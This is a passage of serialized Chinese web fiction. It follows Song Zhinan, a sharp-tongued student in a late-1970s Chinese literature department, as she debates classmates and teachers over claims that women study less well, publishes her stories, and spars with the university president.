刘会清惶恐且不解:“咱们班女生环肥燕瘦,各有各的好,怎么就选我当班花?” 到了宋知南她们这边,大家更多的是愤怒,她们愤怒的不是自己没当上班花,而是这帮男生凭什么可以来肆意评价她们的容貌? 宋知南果断地说:“那就来个对等法则,咱们也来选一个班草。今天的卧谈会主题就是选班草和班毒。” 大家开始逐个点评,实事求是地讲,这帮男生长得都不咋地,老的太老,小的太小,中间的又长得不好。 大家也只能矮子里拔将军,最后勉强选出了祝景星。 他长得不是特别英俊,只是看上去很顺眼而已。他气质温文尔雅,谦逊低调,平常说话做事很有分寸,跟男生女生处得都挺好。选他当班草,大家一致通过。 至于班里的毒草,也简称班毒,那自然得是孙耀祖。宋知南还选出了班油,周鹏,这家伙的灵魂里都有一层油腻,平时喜欢以老大哥自居,特别爱说教。你若说他是因为年龄大才这样,可是同龄的魏秋月就没这种问题。 选完班草和班毒,宋知南就把这些消息散播出去,让男生那边都知道。 男生们听完先是一阵哈哈,然后起哄让祝景星请客。 孙耀祖听说班草竟然不是自己,便说道:“这纯粹是打击报复。” 他奶奶他妈他姐姐全都夸他长得俊,是十里八村有名的俊小伙。 选班花事件和孙耀祖的自作多情,给本来处得还算和谐的男女同学之间蒙上了一层阴影。 大多数女同学都挺含蓄,她们讨厌人也不会明着说,顶多就是不理你。 双方是暗潮涌动,气氛十分微妙。 真正让双方矛盾爆发的导火索是月考。 在开学一个月后,老师为了检验同学们这段时间的学习效果就组织了一次月考。 宋知南每科成绩都是第一名,就连最难的《古代汉语》也考了95分,对学生以严苛出名的吕会琴教授难得在课堂上表扬了一下宋知南。 总成绩排名下来了,马招云第二,张小凤第三,魏秋月第四,于蓝第五,前十名里八个是女生,只有祝景星和孟金秋两个男生。 女同学习以为常,没什么特别的反应。但男同学那边却炸开了锅。 孙耀祖和白光宗李长胜最为不服。40人的班级,女生只占了三分之一,前十名却占了八个,这让他们男生的脸往哪儿搁? 很快,孙耀祖就找到了问题所在。 他觉得老师出的题有问题,考的都是需要死记硬背的知识点,不利于男生发挥。 孙耀祖的话得到一部分男生的支持和拥护。这下女生们不干了,你什么意思?你考不过我们就胡乱找借口? 于蓝气得跳到桌子上骂他们:“你们真是如南姐所说,赢不了还输不起,又怂又凶又小心眼。” “于蓝,这是你一个当班长的应该说的话吗?” “你还是下台吧,我们不认你这个班长,你不公允。” “难道只有认同你们的胡说八道才是公允吗?” 这件事闹得挺大,问题又很典型,班主任和辅导员便让大家在班会上讨论这个问题,其他任课老师也受邀参加,系主任钟纪文也来了。 今天的班会,老师们来得挺齐。班主任和辅导员是主持人,吕老师胡老师等人在一边旁听。 等各位同学到齐后,班会正式开始。说是班会,其实更像场辩论会。 大家一上来就火药味十足。 孙耀祖最先发言:“各位老师,我不是对你们有意见,我只是想提出一点建议,这个建议既代表我本人,也代表我们班男同学。” 年龄最小的苏星出声反对:“孙耀祖,你代表不了咱们班男生,至少你不能代表我。” 这次考试他也没能进先十名,但他认为是自己没学好。 前三名的卷子他要来看了,人家的知识确实学得扎实,卷面整洁干净,人家考得好是应该的。 祝景星也笑着说道:“孙同学,你就代表你个人吧。” 以前,他跟所有人同学都交好,以后还是有点原则吧。 孙耀祖尴尬地笑笑:“那行,我就代表我个人。我觉得老师出的题太偏重记忆和细节了,这一方面恰巧是我们男生不擅长的。我觉得考试应该侧重于考我们灵活运用知识的能力。” 李长胜立即附和孙耀祖:“我觉得孙同学说得对,说实话,当初我们很多人报考中文系就是因为高考开始得太匆忙,我们对理科没来得及复习,我们男生不像女生那样擅长文科,更不擅长死记硬背。” 宋知南冷笑道:“两位同学说男生不擅长文科,可是你们好像忘了,在大清灭亡前,你们可都是一直擅长文科,科举考试考的可都是文科。怎么一到现在又变成擅长理科了?等你们发现我们女生也擅长理科时,你们又会擅长什么?我觉得你们这类人只有一项最擅长,那就是擅长往自己脸上贴金。你们不行的不会的就往死里贬低。” 杠精值40。 孙耀祖瞥了宋知南一眼,以前他以为对方对自己有意思,对她就一直哄着惯着,上次宋知南那么侮辱他,还发动女同学孤立他,他对她再无一点情意。 孙耀祖:“宋同学,我建议你的攻击性不要那么强。你这人就是太好强了,总想在各个方面都压过男生一头,其实没必要这样。你必须得正视双方之间的客观差距。就拿今年的高考来说,为什么咱们班女生这么少,为什么咱们学校女生这么少?为什么我们全大队就我一个男生考上了?这难道不正说明女生在学习上就是不如男生厉害吗?” 宋知南笑着问道:“孙耀祖同学,你家中的姐妹们参加高考了吗?” 孙耀祖怔了一下,答道:“当然没有。” 宋知南看着众人微笑:“所以,你看,问题不就出来了?孙耀祖举出了他的例子,我也说一说我这边的例子。 我所在的河东省青阳红星纺织厂,一个三千多人的工厂,今年考上了三百多名考生,其中280多名是女工。” 众人哗然,有人以前看过这个新闻,因为是隔壁省的,印象有点,但不深。报纸上还提过一个什么宋主任,难道就是宋知南? 宋知南接着说道:“大家知道我们厂为什么考上这么多女生吗?因为她们适合考大学,适合学习。而我和我的领导所做的,不过是给她们提供一个公平的机会而已。我们厂的女工想报名考试,领导和家属一律不得阻拦,谁阻拦我就去劝谁,劝到他们同意为止。复习期间谁敢搞小动作,我就去搞他,就这么简单。可惜,我只管得了一个红星,别的我管不了。为什么大学女生少?那是因为有很多很多女生都没参加高考。男生要考大学,全家支持,女生要考,全社会一起劝阻。这就好比西方国家举办运动会,不让中国人参加,最后却大放厥词说中国人不擅长运动。你们说,正常人会认同这个不公平的比赛结果吗?如果你们不认同,又为什么要认同孙耀祖所说的结果?” 杠精值500。她不但杠了孙耀祖,还杠了认同这个言论的同学和老师。 宋知南话音一落,吕会琴教授突然鼓起掌来:“宋同学,你是好样的,你是真做实事。” 胡湘南也用欣赏的目光看着她。 其他女同学也纷纷用掌声鼓励宋知南人。 宋知南向她们微笑致意。 孙耀祖一看有老师欣赏宋知南,心里就更急了。 他跟李长胜和白光宗对视一眼,三人继续发动攻击: 孙耀祖说:“我认为宋同学所说的红星纺织厂只是个例,它代表不了整体。要不然,为什么古今中外,有成就的女人那么少?古代诗人那么多,也就出了一个李清照。” 李长胜接着说:“那么多皇帝为什么就只出了一个武则天?” 宋知南:“只要是脑子正常的人,都应该知道,比赛的第一要素是公平,举重运动员要有相等的体重,拳击手分轻量级、重量级。你们见过大学生跟小学生比赛的吗?但在场的某些人偏偏就提出了可笑的问题。” “你问为什么女诗人那么少?因为古代的女性不允许认字,更遑论写诗? 为什么女皇帝只有一个?因为古代的女人没有继承权,现代的大部分女人仍然没有继承权。你见过男生有叫耀祖光宗的,你见过女生有叫这个名字吗?一个都没有。连家里的地和房子都是你们男人的。 你们剪断女人的翅膀,却问她们为什么不会飞翔? 你们裹着女人的双脚,却问她们怎么不会奔跑? 你们不让女人识字科考,又说她们不擅长科考。 当我们女生考过你们,你们说考的内容不对。 这种言论是什么?这是反常识反人类言论。做为男大学生,你们可以丑可以邋遢,但你们不能没有脑子,不能没有逻辑和常识。咱就不说大脑了,你们好歹长点小脑,哪怕喝点豆腐脑,也不至于说出这种话吧?孙同学李同学,我想请问,你们俩这大学是怎么考上的?你们该不会作弊得来的吧?” 第133章 宋知南话一说完, 其他11位女同学全部起立鼓掌,终于有人说出她们一直想说但没说出口的话了。 胡湘南和吕会琴也跟着一起鼓掌, 周老师也笑着鼓了下掌。 宋知南不但获得了大家的掌声,还收获600杠精值。 孙耀祖气得满脸通红,站起来激动地喊道:“宋知南你在污蔑我。” 辅导员王增光敲敲桌子:“同学们,辩论归辩论,不要人身攻击。” 宋知南面带微笑:“原来这就叫人身攻击?那他们对我们做的叫什么?我们考得好,他们就说老师出的题只适合我们。以后我们次次都考得好,他们是不是得说我们提前拿到答案了?或者是走老师的后门了?”再恶心点,连黄谣都造出来了。 周好古也意识到事情的严重性,他当场宣布:“同学们,下周一,咱们再进行一场考试, 这次是开卷考试, 出的题会非常的灵活, 灵活到你们在教材里可能都找不到。今天的班会就到此为止吧。你们之间可以有争论,但我希望你们不要彼此仇视对立, 你们能成为同学是缘分, 大家要珍惜这份缘分。孙耀祖、李长胜、白光宗,你们三位到我办公室来一趟。” 也不知道周老师跟他们谈了什么,反正从那以后,这三人老实了不少。 不过,李长胜跟宋知南的梁子也结下了,两人同是班干部,有时要互相配合, 现在好嘛,李长胜见着宋知南就想呛, 宋知南也不惯着他,每次都把他怼得灰头灰脸。 宋知南现在班里的女同学处得挺好,就连那几个走读的女生也时不时也来找宋知南。 她跟男同学之间是井水不犯河水,孙耀祖不敢明着挑事,私下里却上窜下跳,他试图鼓动其他男生跟他一起孤立宋知南,除了李长胜白光宗几人外,其他人都一笑置之,不予理会。还搞孤立,当大家是小学生呢。 第二个被孙耀祖孤立的是祝景星,原因是祝景星竟然主动跟宋知南接触。 祝景星确实跟宋知南有接触,并且送了她两本杂志:“宋同学,《河西文学》、《西山文学》上有你的小说,是转载的,你看看。” 宋知南接过杂志翻开一看,还真是,这两本杂志转载了她的小说《他的家,她的冢》。 “谢谢祝同学,杂志我拿回去看看,明天还你。” 祝景星说道:“杂志我已经看过了,你不用还了,看完就留着做纪念吧,毕竟这上面有你的小说。” 说到这里,他又补充一句:“小说我看了,写得很深刻,有鲁迅先生的味道。” “谢谢。” 宋知南没回宿舍,她找到杂志社的电话,去书报亭给两家杂志打去电话询问此事。 两家杂志社给了一样的回应,他们也想联络原作者,就是没找到具体地址,他们马上就给她寄样刊和稿费,并且向她约稿。 宋知南:“约稿的事以后再说,我现在手上有了好几家的约稿,比较忙。” 书报亭的管理人员听到约稿稿费之类的话,对宋知南投来了钦佩的目光,并且主动说道:“这位同学,你要不要在联系方式上留下书报亭的电话,以后有人找你,我就去喊你。” “那太好了,谢谢老师。” 宋知南留下自己的地址,还买了两本杂志。 “每周三中午来新杂志。” “好的。” 宋知南把杂志带回宿舍,大家上来抢着看。 “老四,你说这上面的作者是不是你?” “同名同姓,还是河西大学的,肯定是她。” “老四,这是转载的,首发杂志呢,你怎么偷偷藏起来了?” “没藏,就在这儿呢。” 301宿舍的女生跟过年似的,又喊又叫又唱又跳。 于蓝在征得宋知南的同意后,直接把杂志拿到了班里,跟其他同学一起分享这个喜悦和荣耀。 女同学争相传阅,有人也兴起了投稿的念头。 男同学那边却是罕见的沉默。 有人眼尖地认出了杂志,“景星,那个《西山》不是你的吗?”西山是地级杂志,学校报刊亭都没卖的,也不知道祝景星从哪儿弄来的。 祝景星坦然承认:“是我的,我看过后就送给宋同学了。” 大家面面相觑。 有人揶揄道:“你该不会喜欢宋知南吧?” 祝景星笑着反问道:“我给她一本杂志就是喜欢?我上次还送了你一本书呢,那是不是就是爱了?” “滚一边去。” 祝景星严肃地说:“我们现在有女同学,以后会有女同事甚至女领导,如何跟异性正常相处也是一门学问。我希望大家以平和开放的心态看待男女同学关系,别跟村里的大爷大妈似的,看到一男一女走一起就觉得他们在搞对象。” 祝景星这人平常挺温和,但他一严肃起来也挺唬人的,大家也不敢造次。 孙耀祖听说后,决定要孤立祝景星,这人跟他们不是一路人,太没有原则。 一直到上课铃声响起,同学们的讨论热情还没有下去。 下午第一节课是陈光苏老师的《现代文学史》,她一进来就说道:“我看杂志时竟然看到了我们班同学的名字,宋知南同学,祝贺你,《他的家,她的冢》写得非常好,这是你的处、女作吗?” 宋知南笑着说道:“陈老师,这是我在文学杂志上发表的处男作。” 陈老师笑着说:“其实叫处男作也未尝不可,反正都是一个意思。宋同学的小说写得很深刻,风格辛辣犀利。你继续努力,希望你将来也能进文学史。” 宋知南点头:“谢谢老师鼓励,我应该能进的。” 女生继续哈哈哈,有的男生则发出几声冷笑,还进文学史,这牛皮是不是吹得太大了?不就发表了一篇小说吗?他们要写也一定能行。有的男生已经下定决心回去就写。 第一节课上完,就听到有同学来通知宋知南去办公室:“宋知南,吕老师叫你过去。” “哦好的。” 吕坐琴有一间小办室,但她平常一般待在大办公室里,宋知南就是在大办公室里见到她的。 吕会琴一改往日的严肃,这会儿显得十分亲切,“宋同学,中午的时候,我的老熟人,首都《杂文周刊》的主编周博华同志给我打来电话,让我帮他找人,没想到他要找的人就是你,你说巧不巧?” 宋知南忙说:“半个月前,《杂文周刊》的编辑要了我两篇稿子,是不是因为这事?” 吕会琴点头:“对,就是这事,他说你的文章需要修改,需要征得你的同意,写信太耽误事儿,可你又没留电话,他只能打到我这儿,让我帮忙找找看。” “麻烦老师了,下回我会留报刊停的电话。” “你等几分钟,老周一会儿还要打来。” “好的。” 在等待期间,也没冷场,两人便闲聊起来。 吕会琴好奇地问:“你怎么想起写杂文了?” 宋知南老实回答:“我写的是小说,本来想投给《九月》和《燕京文学》,他们的编辑说风格不符,《杂文周刊》的编辑说跟他们的风格相符就把稿子要了过去。” “你写文章的风格跟你平常的说话风格一样吗?” “那当然一样,风格即人。” “那我就不奇怪了,我觉得你挺适合写杂文的。” 两人正聊着,电话叮铃铃响了起来。 宋知南接起电话,喂了一声,先自报家门,周主编普通话挺标准,语气相当客气:“宋同志,您的两篇稿子通过了终审,就是有一些词句需要修改,您同意修改吗?” 宋知南思考片刻,答道:“只要别改我的主体结构,细枝末节可以修改。” “那太好了。” 两人简单交流了一下修改意见,宋知南留下了报刊亭的电话,约定好下次再联系。 “吕老师,麻烦您了,我回去上课了,再见。” 吕会琴语重心长地嘱咐宋知南一句:“宋同学,你很有才华,也很有个性,但是一定要注意保护好自己呀。木秀于林,风必摧之。” 她说这话是基于自己的人生经验,十年运动中,最先受到冲击的就是那些有才华有个性的同事。 宋知南笑道:“吕老师,您的话也没错,在过去的时代确实是这样。不过现在不一样了。我这棵树不但秀还粗,就是防风的,俗称防风林。” 宋知南的话音一落,办公室里响起了此起彼伏的笑声。 宋知南大大方方地冲大家打招呼:“各位老师,我说得是不是很好?” “好,很好。” 宋知南在一阵笑声中离开了办公室。 宋知南刚回到班里,魏秋月就递给她一张汇款单,“你的稿费单到了。” 宋知南还没来得及看,就被别的同学抢走了。 “我的天,90块,竟然有90块。不行,我也要投稿。” “90块钱,顶我爸两个月的工资了。” “够我花大半年了。” “宋大户,你要请客吗?” 宋知南说:“等过几天再请吧。” “也就是说,后面还有稿费?” “肯定是的。” “羡慕。” “我的心里为什么酸溜溜的?” …… 第二节课是班主任周老师的课,他进来的时候见班里闹哄哄的,就朗声道:“同学们,看得出来,你们都很躁动,是因为春天来了吗?” 有人小声回答:“是因为宋知南。” 教室里响起一阵笑声。 周好古看了宋知南一眼,笑着说:“应该是因为宋同学发表了小说的缘故吧?宋同学,你能向大家介绍一下你的写作经验吗?” 宋知南大大方方地站起来,说道:“老师,我的经验就是,我们女生就是天生的作家。因为我们既细腻又大气,既深刻又广博,既有天赋又好学,既有前劲还有后劲,既能理解男人也能共情女人,能识乾坤大,还独怜草木青。您就说这是不是作家圣体?谁能与之相比?” 同学们面面相觑,他们今天算是长见识了,还能这么说呢? 孟金秋小声问:“那我们男生就不适合当作家吗?” 宋知南:“有些男生也可以,我觉得孟同学你就可以。” 周好古微微一笑:“宋同学,你的写作风格跟你的说话风格一样,很有辨识度。你难能可贵的是刚开始写作就有了自己的风格,不过你也要小心,风格既能成就你,也有可能会束缚你。它有可能成为你的标签。” 宋知南答道:“没关系的老师,标签是别人贴的,我想撕就撕。我这人不喜欢被定义。” 周好古作了个手势,示意宋知南坐下:“宋大作家,谢谢你的经验分享,你更新了我对女同学的认识。”他从来就没见过这样的女学生。 宋知南:“周老师,我觉得您对女同学的认知带着男同志与生俱来的局限和刻板印象,不过没关系,以后我们班的女生会让您时时更新认知。带完我们这届学生,您就是个完整的男老师了。” 杠精值100。 周老师无言以对。 课堂上突然安静下来。 宋知南满意地笑笑,她能让人躁动,但也能让人安静,这就叫做宜动宜静。 第134章 中文系又进行了一场考试, 这次是开卷,考试时可以翻书。 但是, 题出得非常灵活,你翻遍书也找不到。考察的是学生平时的累积、灵活运用知识的能力还有写作能力。 开卷考试的成绩出来后,宋知南仍然稳居第一,张小凤和马招云阅读量一般,成绩有所下降,但名次也没跌出前十。于蓝和王琳她们前进了几名。前十名中,仍然有八名还是女生。孙耀祖上次考试倒数第六,这次变成了倒数第一。 女生们小声嘀咕:“这个孙耀祖高考该不会真的作弊吧?” 于蓝愤愤不平:“就算他作弊也没办法,又没有当场抓住,便宜他了。” 宋知南突然问道:“孙耀祖的老家在哪里?” 于蓝自告奋勇地说:“我去帮你查。” 宋知南想着,又到了她那个记者朋友上场的时候了, 只是这次证据不足, 仅仅是有所怀疑, 得好好想个话术鼓励胡记者去看个究竟。 于蓝很快就到打听到了孙耀祖的详细地址,河西省西河县孙家河公社孙家堡大队。宋知南给胡记者写了一封信, 建议他有空去调查一下孙耀祖, 这里面也有新闻可挖。胡记者在河东省,跨省采访调查会有一定难度。宋知南也不急,静候佳音就是。 孙耀祖李长胜等人面对这次的考试成绩,先是无话可说,很快他们又找到了理由:“中文系不适合男生。” 于蓝特意跑到物理系数学系问问,发现那边的情况也是差不多,女生很少, 但成绩就是名列前茅。看来女生也挺擅长理科。 孙耀祖这时又有话说了:“可能是现行的教育制度不适合男生。” 宋知南笑道:“也可能是大学不适合你,你们村比较适合你, 毕竟你是耀祖嘛,那里才是你们的紫禁城。” “哎哟,紫禁城那可了不得。” 大家放声大笑。 宋知南在笑声中获得20个杠精值。 她打算用这些杠精值请客,“姐妹们,为了庆祝咱们的第二次胜利,明天我请你们吃肉包子。” 大家齐声欢呼:“谢谢南姐。” 苏星不甘心地问道:“宋同学你就只请女生吗?” 宋知南大方地说:“苏小弟,你跟那些男同学不一样,你是个明辨是非的清纯大男孩,请客算你一个。” “嗷嗷,谢谢南姐。” 第二天清晨,宋知南晨跑回来,真的提回了一纸袋热腾腾的肉包子。 女同学一人一个,孟金秋、祝景星和苏星也分到一个。 空气里全是肉包子的气味。 有些还没吃早饭的男生肚子叫得更响了。 王琳一边吃包子,一边问宋知南:“老四,你一下子买这么多肉包子,粮票还够用吗?” 宋知南小声说:“学校东门有人在偷偷卖早点,不要粮票。” “哦哦,下回我也去看看。” 大运动结束后,对于自由市场的打击没那么严厉了,有些心思活络的人就开始偷偷做小生意,河西大学附近早晨和傍晚都有小商小贩来卖小吃。 大家有说有笑地吃完了肉包子,没有包子吃的,一脸无语地看着她们。 等到开始上课时,空气里仍飘散着挥之不去的味道。 周老师进来后忍不住吸了下鼻子:“你们谁在教室里吃包子了?还是肉馅的。” 吃包子的同学低头偷笑。 李长胜说:“宋知南请女生吃肉包子。” 周好古点头:“宋同学这点做得很好,拿到稿费就请客,比某些老师大方多了。这就叫做达则兼济天下,好,咱们现在开始上课。” 中文系这边发生的事,以及男女同学在班会上辩论的内容很快就传遍了全校。 其实不止是中文系是这样,别的系也大差不差。别系的女生从小就听惯了这些话,她们心里不舒服,但也忍了。现在有女生不忍了,直接硬杠,还杠赢了。女同学们心潮澎湃。 宋知南走在路上,时不时有陌生女同学跟她打搭讪:“你就是宋知南同学?” “我是。” “宋同学,你真勇敢。” “宋同学,你的小说写得真好,要继续加油哦。” …… 有的人是口头称赞鼓励,还有的人付出实际行动。 有个女生妈妈在造纸厂工作,直接给宋知南送来厚厚一叠稿纸,鼓励她好好写作;还有个女生的二姨是电影放映员,给宋知南送来了几张电影票,还有的女生主动借书给她。 宋知南手里捏着电影票进了宿舍:“咱们学校的女生太热情太大方了。” 大家一听有人送电影票就围了上来。 于蓝看了下电影票说:“《金光大道》、《祖国啊,母亲》是去年的电影,我看过了。” 这些宋知南也看过了,王琳谢欣然她们也都看过了,马招云张小凤魏秋月三人没看过。 宋知南把电影票递给三人:“你们三个去看吧。” 张小凤有些手足无措:“总是占你的便宜,太不好意思了。” 宋知南笑道:“这电影票是别系的女生送的,咱们是占她们的便宜。” 于蓝神秘兮兮地说:“老四,你知道吗?你可能要掀起一场革命了。” “什么革命?” “我听说了,别的系的女同学也开始在课堂上勇敢发言了。上次历史系的老师上课时,大肆批判武则天,还说什么女人不适合搞政治。有个女生就勇敢地站起来用你的话反驳老师,那老师气得中途离开了。” “还有数学系的男生说女生不适合学数学,还建议他们班的女生转系,那个女生也用你的话骂他们,说‘我觉得你们这类人只有一项最擅长,那就是擅长往自己脸上贴金。你们不行的不会的就往死里贬低。’那帮男生气得直跳脚。” 河西大学的老师也发现了,他们学校有一部分女生突然勇敢起来了,敢在课堂上反驳他们了。一打听才知道,原来是有人带头闹革命,此人名叫宋知南。 宋知南的名气和影响力迎来了新一波的增长和扩张。 你走在河西大学校园里,向人打听宋知南,很多人都神色复杂。 食堂师傅一念起这个名字,心头就涌起一丝淡淡的愤怒和无奈:“哦,我们大家都叫她宋督查。” 问老师,老师淡淡一笑:“宋知南是个个性非常鲜明的学生。” 问男生,男生们先是面面相觑,再悄悄对视一眼,欲言又止,欲说还休:“这个宋同学让人一言难尽啊。” 问女生,女生们两眼闪闪发光,滔滔不绝:“你是说宋同学,她勇敢正直聪明绝顶,敢于发声,敢于出头,敢为天下先。” 龙国人凡事都得有人挑头,只要有人振臂一呼,大家立即云集景从。 当年陈胜吴广喊出“王侯将相,宁有种乎”,天下反秦人士纷纷冒头响应。 现在宋知南打出了思想解放第一枪后,女生们也开始响应:“你不让我们公平竞争,却天天说说我们不行;你们倒果为因,颠倒是非。” 那些充满登味的中老年老师们,很不习惯很不适应;那些男生们也很不适应,以前他们说什么就是什么,哪有人反驳啊。现在的女同学真是一届不如一届。 有些老师就开始找王增光和周好古抱怨。周好古是充分领教了宋知南的辩论才能,他要是再接着做思想工作,他就不是个完整的男老师了。 死道友不死贫道,他让辅导员王增光去给宋知南做思想工作。 “老王,你是辅导员,给学生做思想工作是你的本分,这事你去办。” 王增光唉声叹气,面色无光。他去找系主任钟纪文,钟纪文说自己还有事,便建议魏书群好好给宋知南上一课。 魏书群也听说学校出了个名人,见见就见见吧。至于说她很有辩论才能,魏书群也不甚在意,他什么样的学生没见过? 宋知南接到通知校长要见她,她腾地一下站起来,终于能杠到校长了。 于蓝见她这样,连忙问道:“校长是不是知道你发表了小说,要好好鼓励你一番?” 宋知南:“我也觉得也是。” 五分钟后,宋知南坐在了校长办公室,她打量着对面的魏书群,五十多岁,瘦个高,头发稀疏,带着眼镜。 魏书群也在打量着宋知南:“宋知南同学,你的小说我也看了,你为河西大学争了光呀,希望你以后要不骄不躁,再接再厉,再攀高峰。” 魏书群打算下一句就开始丝滑地接上:“但是,” 宋知南知道这种夹心饼干式的评论,两头都是好话,中间夹上批评,显得说话的人很会说话,也让听的人心里舒服些。 可她不喜欢夹心饼干,她只喜欢吃香葱味苏打饼干,干干脆脆还带着葱味。 宋知南两眼闪着光芒:“魏校长,我早就想来见您了。” 魏书群没忽略宋知南眼中的光芒,这个女生崇拜他? 宋知南:“校长,我对咱们学校提出以下几点建议:一,民以为食为天,我觉得咱们学校食堂工作需要继续改进,菜品太少,食堂师傅不太敬业,卫生习惯一般般。我提议开个贫困生窗口,到现在一直没落实;从女生宿舍到文史楼那条路,坑坑洼洼,一到下雨天,脚踩上去就冒泥水,该修路了;学校绿化也该好好搞搞了。还有,某些老师讲课照本宣科,敷衍了事。要么胡说八道……” 杠精值200。 魏书群:“……” 他平复了一下心绪,微微颔首。 他见宋知南还有继续往下说的意思,及时截住话头:“宋同学,你知道我今天叫你来是为了什么吗?” 宋知南语气笃定:“我知道,您肯定是要表扬我的,您刚才说的,我为学校争了光。校长,有句话是这么说的,今天我以母校为荣;明天,母校以我为荣。我相信,西大将来一定会以我为荣。” 魏书群深深地吸了口气,“宋同学,你有自信是好事。不过呢,有不少老师来找我反映情况,说你带领女生搞革命闹事,是这有这回事吗?” 宋知南:“校长,那不叫闹事。俗话说得好,脓包不挑破,迟早都是祸。有些脓包已经阴暗地生长了几千年,就到了需要用针挑破的时候了。真金不怕火炼,真理不怕人辩。我们跟某些老师进行一下辩论有什么错吗?” 杠精值200。 魏书群终于知道为什么钟纪文让他来跟宋知南谈话了,她就是个刺头。而且似乎不把校长威严放在眼里。他开始怀疑刚才宋知南眼里的光芒也许不是崇拜,那似乎是一种见到高端猎物的兴奋。 魏书群自认为涵养不错,很少发火,可现在他心口就有一股暗火。 他继续耐着性子跟宋知南讲道理:“宋知南,你以后走上社会,也跟单位领导这么说话吗?” 宋知南诧异道:“校长,您是什么意思?咱们学校不就在社会中吗?难道她还能独立出来?” 杠精值200。 “我是说,你毕业后正式参加工作后,也这么跟领导说话吗?” 宋知南奇怪地看着他:“校长,我70年就参加工作了,从妇联干事到妇联主任再到女工委主任,单位领导对我交口称赞,我上大学那天,老领导依依不舍,你不知道那场面有多感人。我知道我的人缘很好,但没想到会这么好。” 魏校长:“……” 他突然不知道说什么好了。 宋知南见校长不知道说什么好,便主动把天聊下去:“校长,您听说了吗?首都那边的燕大清大已经开始思想解放运动了。 尤其是燕大,兼容并蓄,博大宽容,允许各种思潮各种思想碰撞。 咱们西大要想成为国内一流高校,甚至世界一流高校,就不得不及时跟上。 西大是我的母校,我见不得她这么落后,见不得她的老师和学生还残留着那么多的封建思想。我的尖锐就是为了刺破她的沉闷,我的犀利是为了打破思想的僵局。 我们的班主任周老师说我更新了他对女同学的认识,他还觉得以我为代表的中文系女生打破了他对女生与生俱来的局限和刻板印象,他以后就是个完整的男老师了。你也要向他学习,你以后会是个完整的男校长。” 魏书群反问道:“你们的周老师真的这么说?” 宋知南:“他没有明说,你知道的,我们周老师是一个含蓄内敛的人,我认为他一定会这么认为。” 第135章 宋知南跟魏书群结束了不太愉快的交谈, 她在路上就做出了总结:这个校长的文化水平和辩论水平都不怎么样,甚至还不如周老师。这也不奇怪, 当上校长不代表他的水平高,这背后有各种各样的机缘巧合。 跟他抬杠没啥意思,好在杠精值很高,也不算浪费。 能见到校长对于学生来说都是大事,宋知南回到班里,大家都用目光询问她。 宋知南主动说道:“魏校长人还不错,说我为咱们学校争了光,是个人才。要我不骄不躁,再接再厉,再攀高峰。我呢,趁机向校长提了几个建议, 建议他继续改进食堂, 再修修路。” 这番话完全没问题, 校长确实说过这句话,她也确实提了建议, 至于后面的交锋, 没必要说。 同学们倒也没有怀疑宋知南,这番对话并没有超出他们的认知。 魏书群再见到周好古,第一句话就是:“听宋知南说,你在中文系女同学的帮助下,已经是个完整的男老师了?” 周好古:“我说我没说你信吗?” “信,我当然信。” 周好古接着问道:“这么说,宋知南也建议你要当个完整的男校长?” “是呀, 这个女生很不一般呐。” “确实不一般,以后咱们学校说不定就靠她扬名。” 魏书群不置可否, 他们学校已经很有名了,也不至于要靠一个女生扬名吧。 …… 第二天下课时,周好古语重心长地说道:“宋知南,我教你这么久,虽然你有时候让我很头痛,但做为你的班主任,我真心希望你好。你要有长远打算,比如说,你现在就需要考虑你的毕业分配问题。” 如果宋知南给校长留下了不好的印象,肯定会影响她的前程。据他所知,魏书群并不是什么心胸宽广之人。对事不对人,说得简单,但没几个人能做到。 宋知南考虑了一下,很快就做出了决定:“周老师,我不在乎。自由一生是我的第二梦想。”爱咋分配咋分配,学校分配的工作,她还不一定看得上呢。 天大地大,到处是她家。她的草原她的马,她想咋耍就咋耍。 接下来的几天,宋知南突然安静了,她要忙的事情实在太多,连抬杠都变少了。 胡记者那边没有及时给她回应,倒是《青阳晚报》有个记者给她写信了,写信的人是采访过她的女记者,叫陆清云。 陆清云在信中直率地表示,想和宋知南交个朋友,以后互通有无,宋知南若有什么事,也可以找她帮忙。 宋知南暗笑,陆清云肯定是眼馋胡记者几次三番地从自己这儿挖到好新闻。 人家主动跟她交朋友,她自然不会拒绝,朋友多了路好走。 宋知南很快就给陆清云回了个信,说她刚好有一个新闻线索给她,不过可能会有些难度,因为证据不足,而且是跨省调查追踪,难度很大。她建议对方可以跟胡记者合作,人越多越安全。 宋知南知道这件事不大可能立即有结果,便把此事放下,该干啥干啥。 同时,她也暗暗观察着孙耀祖,越观察,她越觉得自己的猜测可能是对的。 据她观察,考到河西大学的农村学生通常有两类,一是天生的学霸,哪怕学习环境很差,资源匮乏,也挡不住他们的光芒;二是资质中上,但学习极为刻苦认真。数学系和物理系有两个女生就属于第一类。马招云、张小凤就属于第二类。 孙耀祖哪种也不属于,他身上没有学霸资质,各门成绩都是倒数。学习也不努力,整天上窜下跳说闲话搞事情。这种人能考上大学,怎能不让人怀疑? 他说他家境贫寒,学校给他评的助学金是18元每月,可他又经常下馆子,平时花钱也大手大脚。 宋知南只是抽空观察一下孙耀祖,而且还不能让他察觉,要不然,人家认为她旧情未了,那就恶心人了。 宋知南没等到陆记者和胡记者的消息,却等来了别的喜讯。 继《燕京文艺》之后,《杂文周刊》也寄来了稿费和样刊,《杂文周刊》的稿费标准高些,是按千字5块的给的。 这两篇稿子被精心修改后,文笔更加流畅,用词也更精确,这些老编辑们还是有几把刷子的。 她之前的字数是每篇一万二千字左右,精修后,有删减,变成了一万字。 两篇稿子的稿费一共是100元。 周主编还给宋知南回了一封信,信中详细地说明了刊物风格,收稿类型,字数限制。建议她以后投稿最好是五千字以下,当然,写得特别好的,也可以破例。 周主编也给老朋友吕会琴寄来了当期的杂志,吕会琴便在课堂上给同学们读了几篇文章,还点评了宋知南的文章:“宋同学的文章写得很好,针砭时弊,有理有据,幽默犀利。 你要想在写作的路上走得更远,就不能不打好古文底子,宋同学,我建议你把《古文观止》背诵一遍,再背诵一些诗词,不用太多,三四百首就行,再加上四大名著打底,你的文笔会有一个很大的提升。” 大家用同情的目光看着宋知南,宋知南这次难得没杠,“吕老师您说得对,我明天早上就开始背诵。” 吕会琴满意地笑了,讲完课,她顺手把《杂文周刊》放在书架上。 一下课,同学们便去抢杂志看。 没抢到杂志的围在宋知南身边例行羡慕:“稿费一百块,好多啊。” 临渊羡鱼,不如退而结网。 大家在学习之余,也开始疯狂写稿投稿。投稿的人很多,但投中者寥寥无几。 301宿舍的女生们也开始掀起了投稿的风潮,她们写完还拿给宋知南看。 宋知南看了一圈,发现就赵清波有点写作天分。魏秋月点评别人的文章时很有水平,但自己写就一般。 